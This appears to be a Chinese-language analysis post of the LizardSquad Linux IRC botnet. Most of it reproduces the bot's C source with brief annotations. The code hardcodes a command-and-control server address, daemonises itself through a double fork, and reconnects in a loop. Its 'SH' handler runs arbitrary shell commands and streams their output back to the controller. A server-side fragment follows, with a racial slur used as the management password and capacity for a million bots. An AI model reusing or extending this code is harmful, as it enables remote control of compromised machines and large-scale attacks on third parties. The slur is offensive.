BotnetLinuxLizardSquard IRC僵尸网络系统分析

// 网络连接配置
unsigned char *commServer[] = {
    "93.174.93.113:164" // C&C服务器地址
};
// 协议定义
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
- 通过硬编码的IRC服务器地址建立连接
- 实现Telnet协议交互功能
- 包含大量网络操作头文件（socket/ip/tcp/udp等）

int main(int argc, unsigned char *argv[])
{
    // 检查服务器列表有效性
    if(SERVER_LIST_SIZE <= 0) return 0;
    // 初始化随机数生成器（使用时间和进程ID的双重随机源）
    srand(time(NULL) ^ getpid());
    init_rand(time(NULL) ^ getpid());
    // 进程控制相关变量
    pid_t pid1;
    pid_t pid2;
    int status;
    // 获取本机网络信息
    getOurIP();
    zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
    // 双重fork守护进程化
    if (pid1 = fork()) {
        waitpid(pid1, &status, 0);
        exit(0);    // 父进程退出
    } else if (!pid1) {
        if (pid2 = fork()) {
            exit(0); // 二级父进程退出
        } else if (!pid2) {
            // 子进程继续执行
        } else {
            zprintf("fork failed\n");
        }
    } else {
        zprintf("fork failed\n");
    }
    // 完全脱离终端控制
    setsid();       // 创建新会话
    chdir("/");     // 切换到根目录
    signal(SIGPIPE, SIG_IGN); // 忽略管道断开信号
    // 主通信循环
    while(1)
    {
        // 初始化连接（失败时重试）
        if(initConnection()) { 
            printf("Failed to connect...\n"); 
            sleep(5); 
            continue; 
        }
        // 发送构建版本信息
        sockprintf(mainCommSock, "BUILD %s", getBuild());
        // 命令处理循环
        char commBuf[4096];
        int got = 0;
        int i = 0;
        while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
        {
            // 清理僵尸进程（动态维护进程列表）
            for (i = 0; i < numpids; i++) {
                if (waitpid(pids[i], NULL, WNOHANG) > 0) {
                    // 动态调整进程数组
                    unsigned int *newpids, on;
                    for (on = i + 1; on < numpids; on++) 
                        pids[on-1] = pids[on];
                    pids[on - 1] = 0;
                    numpids--;
                    newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
                    for (on = 0; on < numpids; on++) 
                        newpids[on] = pids[on];
                    free(pids);
                    pids = newpids;
                }
            }
            commBuf[got] = 0x00;
            trim(commBuf); // 去除空白字符
            // 基础心跳检测
            if(strstr(commBuf, "PING") == commBuf) {
                sockprintf(mainCommSock, "PONG");
                continue;
            }
            // 自毁指令
            if(strstr(commBuf, "DUP") == commBuf) exit(0);
            // 命令解析（格式：!<目标> <命令> <参数>）
            unsigned char *message = commBuf;
            if(*message == '!') {
                // 提取目标标识
                unsigned char *nickMask = message + 1;
                while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
                if(*nickMask == 0x00) continue;
                *(nickMask) = 0x00;
                nickMask = message + 1;
                // 提取命令内容
                message = message + strlen(nickMask) + 2;
                while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') 
                    message[strlen(message) - 1] = 0x00;
                // 命令分词处理
                unsigned char *command = message;
                while(*message != ' ' && *message != 0x00) message++;
                *message = 0x00;
                message++;
                // 命令标准化（转大写）
                unsigned char *tmpcommand = command;
                while(*tmpcommand) { 
                    *tmpcommand = toupper(*tmpcommand); 
                    tmpcommand++; 
                }
                // 处理系统命令（SH指令）
                if(strcmp(command, "SH") == 0) {
                    unsigned char buf[1024];
                    int command;
                    if (listFork()) continue; // 创建子进程
                    memset(buf, 0, 1024);
                    szprintf(buf, "%s 2>&1", message); // 执行命令并重定向错误输出
                    command = fdpopen(buf, "r");        // 执行命令
                    // 逐行发送执行结果
                    while(fdgets(buf, 1024, command) != NULL) {
                        trim(buf);
                        sockprintf(mainCommSock, "%s", buf);
                        memset(buf, 0, 1024);
                        sleep(1); // 结果分块发送
                    }
                    fdpclose(command);
                    exit(0); // 子进程退出
                }
                // 通用命令处理（参数数组构建）
                unsigned char *params[10];
                int paramsCount = 1;
                unsigned char *pch = strtok(message, " ");
                params[0] = command;
                while(pch) {
                    if(*pch != '\n') {
                        params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
                        memset(params[paramsCount], 0, strlen(pch) + 1);
                        strcpy(params[paramsCount], pch);
                        paramsCount++;
                    }
                    pch = strtok(NULL, " ");
                }
                processCmd(paramsCount, params); // 核心命令分发
                // 清理动态分配的内存
                if(paramsCount > 1) {
                    int q = 1;
                    for(q = 1; q < paramsCount; q++) {
                        free(params[q]);
                    }
                }
            }
        }
        printf("Link closed by server.\n");
    }
    return 0;
}

#define MY_MGM_PASS "nigger" // 管理密码
#define MY_MGM_PORT 8888 // 控制端口
#define MAXFDS 1000000 // 最大连接数
struct clientdata_t {
    uint32_t ip;
    char build[7];
    char connected;
} clients[MAXFDS];
- 支持大规模僵尸主机管理（MAXFDS=1000000）
- 使用epoll实现高性能IO复用
- 包含客户端状态管理结构体
- 提供密码认证机制